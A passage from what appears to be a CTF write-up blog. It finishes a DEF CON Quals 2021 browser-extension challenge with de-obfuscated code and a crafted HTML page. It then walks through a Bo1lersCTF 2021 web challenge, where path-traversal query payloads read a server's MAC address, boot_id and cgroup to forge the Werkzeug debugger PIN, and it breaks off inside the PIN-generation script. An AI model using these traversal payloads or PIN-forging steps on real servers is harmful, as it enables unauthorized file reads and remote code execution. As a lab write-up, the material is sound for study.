</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">_0x369bcb</span>[<span style="color:#e6db74">&#39;setAttribu&#39;</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;te&#39;</span>](<span style="color:#e6db74">&#39;id&#39;</span>, <span style="color:#a6e22e">_0x10b2d5</span>.<span style="color:#a6e22e">hxkyy</span>), document[<span style="color:#e6db74">&#39;body&#39;</span>][<span style="color:#e6db74">&#39;appendChil&#39;</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;d&#39;</span>](<span style="color:#a6e22e">_0x369bcb</span>);
</span></span><span style="display:flex;"><span>    });
</span></span></code></pre></div><p>&hellip;Which is, better, at least. I <em>can</em> actually read it and understand what&rsquo;s going on, and this is what you can glean from this hellcode:</p>
<ul>
<li>
<p>The extension was, as mentioned earlier, performing checks on the HTML file you visit. These checks see if it was doing the following things under an HTML node with id called <code>3fa</code>:</p>
<ul>
<li>added 5 nodes</li>
<li>deleted 3 nodes</li>
<li>had a total <code>attrcharsadded</code> count of 23</li>
<li>had a domvalue of 2188</li>
</ul>
</li>
<li>
<p>If the checks above were satisfied it would look for an element called <code>thirdfactooor</code> and give it the value of the flag.</p>
</li>
</ul>
<p>So, in summary, add 5 nodes, delete 3, have some attribute with 23 characters in it, and have a &ldquo;domvalue&rdquo; of 2188. The addition and subtraction of HTML nodes is easy enough to do in Javascript, but the other 2 require some explanation: <code>attrcharsadded</code> is a local variable whose value is assigned as so:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">_0x55a6f1</span>.<span style="color:#a6e22e">qieKm</span>(<span style="color:#a6e22e">_0x55a6f1</span>[<span style="color:#e6db74">&#39;MRogb&#39;</span>], <span style="color:#a6e22e">_0x55a6f1</span>[<span style="color:#e6db74">&#39;MRogb&#39;</span>])) <span style="color:#a6e22e">attrcharsadded</span> <span style="color:#f92672">+=</span> <span style="color:#a6e22e">_0x8a010b</span>[<span style="color:#e6db74">&#39;attributeName&#39;</span>][<span style="color:#e6db74">&#39;length&#39;</span>];
</span></span></code></pre></div><p>Hard to fully understand what this code does, but the last part is what to focus on: the length of the <code>attributeName</code> is added to the value of <code>attrcharsadded</code>. This means we need some attribute with a name that is exactly 23 characters to satisfy this <code>attrcharsadded</code> check.</p>
<p>The domvalue is computed in the <code>check_dom</code> function, which has a lot going on:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">check_dom</span>() {
</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">_0x525a15</span> <span style="color:#f92672">=</span> {};
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">_0x525a15</span>.<span style="color:#a6e22e">wmicU</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">_0x1a77be</span>, <span style="color:#a6e22e">_0x3e38f4</span>) {
</span></span><span style="display:flex;"><span>       <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">_0x1a77be</span>(<span style="color:#a6e22e">_0x3e38f4</span>);
</span></span><span style="display:flex;"><span>   }, <span style="color:#a6e22e">_0x525a15</span>[<span style="color:#e6db74">&#39;ueJYA&#39;</span>] <span style="color:#f92672">=</span> <span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">_0x500490</span>, <span style="color:#a6e22e">_0x3c0a68</span>) {
</span></span><span style="display:flex;"><span>       <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">_0x500490</span> <span style="color:#f92672">!=</span> <span style="color:#a6e22e">_0x3c0a68</span>;
</span></span><span style="display:flex;"><span>   }, <span style="color:#a6e22e">_0x525a15</span>[<span style="color:#e6db74">&#39;hJFjw&#39;</span>] <span style="color:#f92672">=</span> <span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">_0x410572</span>, <span style="color:#a6e22e">_0x33660a</span>) {
</span></span><span style="display:flex;"><span>       <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">_0x410572</span> <span style="color:#f92672">==</span> <span style="color:#a6e22e">_0x33660a</span>;
</span></span><span style="display:flex;"><span>   }, <span style="color:#a6e22e">_0x525a15</span>.<span style="color:#a6e22e">KoOZC</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;#thirdfactooor&#39;</span>, <span style="color:#a6e22e">_0x525a15</span>[<span style="color:#e6db74">&#39;RkNoD&#39;</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;INPUT&#39;</span>, <span style="color:#a6e22e">_0x525a15</span>[<span style="color:#e6db74">&#39;QwGfh&#39;</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;QzIrw&#39;</span>, <span style="color:#a6e22e">_0x525a15</span>[<span style="color:#e6db74">&#39;IKmUR&#39;</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;cunYq&#39;</span>, <span style="color:#a6e22e">_0x525a15</span>[<span style="color:#e6db74">&#39;TCJdK&#39;</span>] <span style="color:#f92672">=</span> <span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">_0xee8465</span>, <span style="color:#a6e22e">_0x43b0b6</span>) {
</span></span><span style="display:flex;"><span>       <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">_0xee8465</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">_0x43b0b6</span>;
</span></span><span style="display:flex;"><span>   };
</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">_0x2c0eff</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">_0x525a15</span>;
</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">_0x1e6746</span> <span style="color:#f92672">=</span> document[<span style="color:#e6db74">&#39;getElementById&#39;</span>](<span style="color:#e6db74">&#39;3fa&#39;</span>);
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">chilen</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">_0x1e6746</span>[<span style="color:#e6db74">&#39;querySelectorAll&#39;</span>](<span style="color:#e6db74">&#39;*&#39;</span>)[<span style="color:#e6db74">&#39;length&#39;</span>], <span style="color:#a6e22e">maxdepth</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">total_attributes</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">_0x1e6746</span>[<span style="color:#e6db74">&#39;attributes&#39;</span>][<span style="color:#e6db74">&#39;length&#39;</span>];
</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">_0x28c57b</span> <span style="color:#66d9ef">of</span> <span style="color:#a6e22e">_0x1e6746</span>[<span style="color:#e6db74">&#39;querySelectorAll&#39;</span>](<span style="color:#e6db74">&#39;*&#39;</span>)) {
</span></span><span style="display:flex;"><span>       <span style="color:#a6e22e">d</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">_0x2c0eff</span>[<span style="color:#e6db74">&#39;wmicU&#39;</span>](<span style="color:#a6e22e">getDepth</span>, <span style="color:#a6e22e">_0x28c57b</span>);
</span></span><span style="display:flex;"><span>       <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">d</span> <span style="color:#f92672">&gt;</span> <span style="color:#a6e22e">maxdepth</span>) <span style="color:#a6e22e">maxdepth</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">d</span>;
</span></span><span style="display:flex;"><span>       <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">_0x28c57b</span>.<span style="color:#a6e22e">attributes</span>) <span style="color:#a6e22e">total_attributes</span> <span style="color:#f92672">+=</span> <span style="color:#a6e22e">_0x28c57b</span>[<span style="color:#e6db74">&#39;attributes&#39;</span>][<span style="color:#e6db74">&#39;length&#39;</span>];
</span></span><span style="display:flex;"><span>   }
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">specificid</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">_0x2c0eff</span>[<span style="color:#e6db74">&#39;ueJYA&#39;</span>](document[<span style="color:#e6db74">&#39;querySelector&#39;</span>](<span style="color:#e6db74">&#39;[tost=&#34;1&#34;]&#39;</span>), <span style="color:#66d9ef">null</span>) <span style="color:#f92672">&amp;&amp;</span> (<span style="color:#a6e22e">specificid</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">token</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">_0x2c0eff</span>[<span style="color:#e6db74">&#39;hJFjw&#39;</span>](document[<span style="color:#e6db74">&#39;querySelector&#39;</span>](<span style="color:#a6e22e">_0x2c0eff</span>[<span style="color:#e6db74">&#39;KoOZC&#39;</span>])[<span style="color:#e6db74">&#39;tagName&#39;</span>], <span style="color:#a6e22e">_0x2c0eff</span>[<span style="color:#e6db74">&#39;RkNoD&#39;</span>])) {
</span></span><span style="display:flex;"><span>       <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">_0x2c0eff</span>[<span style="color:#e6db74">&#39;QwGfh&#39;</span>] <span style="color:#f92672">!==</span> <span style="color:#a6e22e">_0x2c0eff</span>[<span style="color:#e6db74">&#39;IKmUR&#39;</span>]) <span style="color:#a6e22e">token</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1337</span>;
</span></span><span style="display:flex;"><span>       <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>           <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">_0x2351ff</span>() {
</span></span><span style="display:flex;"><span>               <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>           }
</span></span><span style="display:flex;"><span>       }
</span></span><span style="display:flex;"><span>   }
</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">totalchars</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">_0x1e6746</span>[<span style="color:#e6db74">&#39;innerHTML&#39;</span>][<span style="color:#e6db74">&#39;length&#39;</span>], <span style="color:#a6e22e">_0x2c0eff</span>[<span style="color:#e6db74">&#39;TCJdK&#39;</span>](<span style="color:#a6e22e">_0x2c0eff</span>[<span style="color:#e6db74">&#39;TCJdK&#39;</span>](<span style="color:#a6e22e">_0x2c0eff</span>[<span style="color:#e6db74">&#39;TCJdK&#39;</span>](<span style="color:#a6e22e">_0x2c0eff</span>[<span style="color:#e6db74">&#39;TCJdK&#39;</span>](<span style="color:#a6e22e">chilen</span>, <span style="color:#a6e22e">maxdepth</span>) <span style="color:#f92672">+</span> <span style="color:#a6e22e">total_attributes</span>, <span style="color:#a6e22e">totalchars</span>), <span style="color:#a6e22e">specificid</span>), <span style="color:#a6e22e">token</span>);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The last return sets the value of <code>domvalue</code>. It essentially sums up everything within <code>3fa</code>: <code>total_attributes</code> + <code>totalchars</code> + <code>specificid</code> + <code>token</code> + <code>chilen</code> + <code>maxdepth</code> + <code>innerHTML.length</code> + and maybe some other things, that I couldn&rsquo;t get from the partially de-obfuscated code. That was fine though - because <code>innerHTML.length</code> is added to this value, and we could freely control that to modify <code>domvalue</code> to the number we want.</p>
<p>The final HTML file is below. It&rsquo;s not pretty.</p>
<p>With all this information, we now needed some way to actually verify and check when we hit the necessary values for all the local variables. This is where the chrome debugger comes in.</p>
<p>Load the extension into your browser and open up an html file that serves as the candidate to satisfy the given checks. Placing breakpoints throughout the content script allowed me to take a look at the local variables and see what values they took:</p>

    <img src="/images/DEFCONQUALS2021-allchecksgreen.png"  alt="satisfies all checks"  class="center"  style="border-radius: 8px;"  />


<p>And I simply repeated this process until the vars had required values needed for the extension to be happy.</p>
<p>Now submit your monster html file to admin, and wait for the picture they send back :)</p>

    <img src="/images/DEFCONQUALS2021-flag.png"  alt="satisfies all checks"  class="center"  style="border-radius: 8px;"  />


<p>HTML file below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;3fa&#34;</span>&gt;
</span></span><span style="display:flex;"><span> 	&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;thirdfactooor&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;width: 900px;&#34;</span>&gt;Poggers&lt;/<span style="color:#f92672">input</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> 	&lt;<span style="color:#f92672">button</span>&gt;button1&lt;/<span style="color:#f92672">button</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> 	&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nested&#34;</span>&gt;	
</span></span><span style="display:flex;"><span>	 &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;div2&#34;</span>&gt;
</span></span><span style="display:flex;"><span>	  &lt;<span style="color:#f92672">p</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;p1&#34;</span>&gt;You shouldnt see this.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>	&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;div3&#34;</span>&gt;
</span></span><span style="display:flex;"><span>	  &lt;<span style="color:#f92672">p</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;p1&#34;</span>&gt;You shouldnt see this.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>	&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;div4&#34;</span>&gt;
</span></span><span style="display:flex;"><span>	  &lt;<span style="color:#f92672">p</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;p1&#34;</span>&gt;You shouldnt see this.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>	&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span> 	&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span><span style="color:#75715e">//this is to get the domval to the necessary amount. It&#39;s not pretty :) 
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">one</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">createTextNode</span>(<span style="color:#e6db74">&#34;oneiuhfiluhfiulfhsjkdnaljdnakldnawkdhaeluifhefiluhwfujnsdkjnslkajfhbeiwlfhewliufhesukfhnksjdfnkje&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">two</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">createTextNode</span>(<span style="color:#e6db74">&#34;two;sijlhkugfhhuijlok;jidlsfgkyuadiuhoijpsoIHRUGLKYEADHIOJDSPOSUDGHKSIFUJADKOSDJIHUFSJFAOKDWJISHUGUFAEIJDWFHUSGUFIAJDWEFHUSGYHUEADIJWEFHUSRFEIJADWOEFHUSRFEAJODWEFHUSGRYIUHEFAJDOWEFHUSAIJo&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">thr</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">createTextNode</span>(<span style="color:#e6db74">&#34;thriuhygtftgyuhijutydfgukhilkjthghijhhguhijolhkgyfutyfyguhiljokihytyguhijo;ljtjgkhlj;hcguhhfgjkhljhkuashduahduhdiuhee&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">four</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">createTextNode</span>(<span style="color:#e6db74">&#34;foukjhgfghjklkjhghjkjhghjklkjhghjklkjklkjhghjklkjklkjhghjklkjklkjhghjklkjhklkjhklkjhghjklr&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">five</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">createTextNode</span>(<span style="color:#e6db74">&#34;pleasegivemethefleguwuasdfsssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//add 5 nodes
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;3fa&#34;</span>).<span style="color:#a6e22e">appendChild</span>(<span style="color:#a6e22e">one</span>);
</span></span><span style="display:flex;"><span>document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;3fa&#34;</span>).<span style="color:#a6e22e">appendChild</span>(<span style="color:#a6e22e">two</span>);
</span></span><span style="display:flex;"><span>document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;3fa&#34;</span>).<span style="color:#a6e22e">appendChild</span>(<span style="color:#a6e22e">thr</span>);
</span></span><span style="display:flex;"><span>document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;3fa&#34;</span>).<span style="color:#a6e22e">appendChild</span>(<span style="color:#a6e22e">four</span>);
</span></span><span style="display:flex;"><span>document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;3fa&#34;</span>).<span style="color:#a6e22e">appendChild</span>(<span style="color:#a6e22e">five</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">d_nested</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;nested&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#75715e">//remove 3 nodes
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">remove2</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;div2&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">remove3</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;div3&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">remove4</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;div4&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">r2</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">d_nested</span>.<span style="color:#a6e22e">removeChild</span>(<span style="color:#a6e22e">remove2</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">r3</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">d_nested</span>.<span style="color:#a6e22e">removeChild</span>(<span style="color:#a6e22e">remove3</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">r4</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">d_nested</span>.<span style="color:#a6e22e">removeChild</span>(<span style="color:#a6e22e">remove4</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// attributename = 23 chars
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">buttatt1</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementsByTagName</span>(<span style="color:#e6db74">&#34;BUTTON&#34;</span>)[<span style="color:#ae81ff">0</span>].<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#34;namenamenamenamenamenam&#34;</span>, <span style="color:#e6db74">&#34;pleasegivemetheflag&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div>]]></content>
        </item>
        
        <item>
            <title>Bo1lersCTF 2021: Lorem_Ipsum</title>
            <link>https://jamvie.net/posts/2021/04/bo1lersctf-2021-lorem_ipsum/</link>
            <pubDate>Sun, 04 Apr 2021 03:12:16 -0600</pubDate>
            
            <guid>https://jamvie.net/posts/2021/04/bo1lersctf-2021-lorem_ipsum/</guid>
            <description>Lorem_Ipsum gave nothing but a simple homepage that allowed you to see &amp;ldquo;animal&amp;rdquo;-ified versions of the famous lorem ipsum placeholder text.
Choose among the available animals, and notice a GET query parameter that looks something like ?animal=dogs. What if you gave it text garbage instead of an expected animal?
This is a Werkzeug debugger! What fun, since Werkzeug in development mode will give you a python console with every traceback that is reported to you when something wrong happens.</description>
            <content type="html"><![CDATA[<p>Lorem_Ipsum gave nothing but a simple homepage that allowed you to see &ldquo;animal&rdquo;-ified versions of the famous lorem ipsum placeholder text.</p>

    <img src="/images/bo1lers2021_cheese.png"  alt="what"  class="center"  style="border-radius: 8px;"  />


<p>Choose among the available animals, and notice a GET query parameter that looks something like <code>?animal=dogs</code>. What if you gave it text garbage instead of an expected animal?</p>

    <img src="/images/bo1lers2021_werkzeug.png"  alt="werkzeug"  class="center"  style="border-radius: 8px;"  />


<p>This is a Werkzeug debugger! What fun, since Werkzeug in development mode will give you a <a href="https://werkzeug.palletsprojects.com/en/1.0.x/debug/">python console</a> with every traceback that is reported to you when something wrong happens. Easy challenge, except -</p>

    <img src="/images/bo1lers2021_consolelocked.png"  alt="pin=protected"  class="center"  style="border-radius: 8px;"  />


<p>The console is pin-protected.</p>
<p>The text made me wonder - it seems as though this pin, if such security measures are enabled, has a specific generation algorithm I could reverse. Good thing <a href="https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py">Werkzeug is open-source</a>.</p>
<p>Truncated to the most relevant parts, and following off of this <a href="https://book.hacktricks.xyz/pentesting/pentesting-web/werkzeug">hacktrick</a>, I realize that the pin generation algorithm isn&rsquo;t randomized - it&rsquo;s based on a few environment variables:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>    <span style="color:#75715e"># This information only exists to make the cookie unique on the</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># computer, not as a security feature.</span>
</span></span><span style="display:flex;"><span>    probably_public_bits <span style="color:#f92672">=</span> [
</span></span><span style="display:flex;"><span>        username,
</span></span><span style="display:flex;"><span>        modname,
</span></span><span style="display:flex;"><span>        getattr(app, <span style="color:#e6db74">&#34;__name__&#34;</span>, type(app)<span style="color:#f92672">.</span>__name__),
</span></span><span style="display:flex;"><span>        getattr(mod, <span style="color:#e6db74">&#34;__file__&#34;</span>, <span style="color:#66d9ef">None</span>),
</span></span><span style="display:flex;"><span>    ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># This information is here to make it harder for an attacker to</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># guess the cookie name.  They are unlikely to be contained anywhere</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># within the unauthenticated debug page.</span>
</span></span><span style="display:flex;"><span>    private_bits <span style="color:#f92672">=</span> [str(uuid<span style="color:#f92672">.</span>getnode()), get_machine_id()]
</span></span></code></pre></div><p>Some of these bits are easy to find - modname is the name of the module in use, which is <code>flask.app</code>. <code>getattr(app, &quot;__name__&quot;, type(app).__name__)</code> is just the name of the class in use, which is just <code>Flask</code>. <code>getattr(mod, &quot;__file__&quot;, None)</code> wants an absolute path to an <code>app.py</code> file, which we can get from looking at the traceback given to us from before: <code>usr/local/lib/python3.6/dist-packages/flask/app.py</code>.</p>
<p>And on that note, the <code>username</code> value can also be lifted from the traceback by noticing that there is a &ldquo;loremipsum&rdquo; directory branch in <code>/home</code> (Thanks, <a href="https://ubcctf.github.io/authors/Filip/">Filip</a> and <a href="https://ubcctf.github.io/authors/Jason/">Jason</a> :P).</p>
<p>So all the public bits are found - what about the private bits? The hacktrick goes into more detail, but the TL;DR is as so: <code>str(uuid.getnode())</code> wants the MAC address of the machine. <code>get_machine_id()</code> is defined in the source as a function that wants either the <code>machine-id</code> (on linux install) or the <code>boot-id</code> (on, well, boot&hellip;duh) of the machine hosting the server.</p>
<p>How do we find such things? They obviously aren&rsquo;t available to us in public. Maybe if we can do a directory traversal, we can input traversal commands and look through relevant linux files ourselves in order to get this information.</p>
<p>Let&rsquo;s return once more to the <code>?animal=</code> query. Again, give it something it doesn&rsquo;t expect and inspect the traceback/pin-protected console, and see an interesting piece of the traceback:</p>

    <img src="/images/bo1lers2021_traversalbug.png"  alt="traversal"  class="center"  style="border-radius: 8px;"  />


<p>The <code>f</code> variable seen here is the value of the <code>?animal=</code> query, <em>passed into an open() function to open a file in the server</em>. This means that our input to the query is treated as a filename. We can do directory traversal through the <code>?animal=</code> query!</p>
<p>Back to the private bits - we can simply traverse to the relevant linux files to grab the information we want.</p>
<p>MAC address:</p>
<pre tabindex="0"><code>?animal=%2F..%2F..%2Fsys/class/net/eth0/address
</code></pre>
    <img src="/images/bo1lers2021_MACaddr.png"  alt="MAC"  class="center"  style="border-radius: 8px;"  />


<p>boot-id:</p>
<pre tabindex="0"><code>?animal=%2F..%2F..%2Fproc/sys/kernel/random/boot_id
</code></pre><p>cgroup (append it to the end of boot-id):</p>
<pre tabindex="0"><code>?animal=%2F..%2F..%2Fproc/self/cgroup
</code></pre>
    <img src="/images/bo1lers2021_bootid.png"  alt="MAC"  class="center"  style="border-radius: 8px;"  />


<p>NOTE: you&rsquo;ll need to convert the MAC address from hex to decimal.</p>
<p>NOTE1: trying to get <code>machine-id</code> didn&rsquo;t work for me, that&rsquo;s why I got <code>boot-id</code> instead.</p>
<p>NOTE2: <code>boot-id</code> isn&rsquo;t stable - a new one is generated each time the server restarts. The challenge went down a couple times and the admins had to restart the server throughout, meaning with each time it went back up, I needed the new <code>boot-id</code>.</p>
<p>Altogether, we can modify the source code into a script to generate the pins based on these values we provide it.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>probably_public_bits <span style="color:#f92672">=</span> [ 
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#39;loremipsum&#39;</span> ,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#39;flask.app&#39;</span> , <span style="color:#75715e"># modname - probably &#39;flask.app&#39; ?</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#39;Flask&#39;</span>,<span style="color:#75715e">#getattr (app, &#39;__name__&#39;, getattr (app .__ class__, &#39;__name__&#39;)), is this just &#39;Flask&#39;?</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#39;/usr/local/lib/python3.6/dist-packages/flask/app.py&#39;</span> <span style="color:#75715e">##getattr (mod, &#39;__file__&#39;, None) </span>
</span></span><span style="display:flex;"><span>  ] 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>private_bits <span style="color:#f92672">=</span> [ 
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#39;2485378547714&#39;</span> , <span style="color:#75715e">#MAC Address, decimal</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#39;b875f129-5ae6-4ab1-90c0-ae07a6134578e8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334ae&#39;</span> 
